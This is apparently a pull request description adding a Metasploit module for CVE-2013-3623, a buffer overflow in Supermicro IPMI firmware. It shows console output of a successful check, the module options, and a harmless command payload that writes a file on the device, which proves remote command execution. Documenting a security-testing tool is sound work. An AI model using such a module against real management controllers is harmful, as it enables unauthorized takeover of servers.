Add module for CVE-2013-3623

Test results:

* check

```
msf exploit(smt_ipmi_close_window_bof) > check
[+] The target is vulnerable.
```

* exploit

```
msf exploit(smt_ipmi_close_window_bof) > show options

Module options (exploit/linux/http/smt_ipmi_close_window_bof):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   Proxies                   no        Use a proxy chain
   RHOST       yes       The target address
   RPORT               yes       The target port
   VHOST                     no        HTTP server virtual host


Payload options (cmd/unix/generic):

   Name  Current Setting                        Required  Description
   ----  ---------------                        --------  -----------
   CMD   echo metasploit > /tmp/metasploit.txt  yes       The command string to execute


Exploit target:

   Id  Name
   --  ----
   0   Supermicro Onboard IPMI (X9SCL/X9SCM) with firmware SMT_X9_214


msf exploit(smt_ipmi_close_window_bof) > rexploit
[*] Reloading module...

[*] - Sending exploit...
[*] Exploit completed, but no session was created.
```

* On the smt device:

```
# cd /tmp
# pwd
/tmp
# cat metasploit.txt
metasploit
```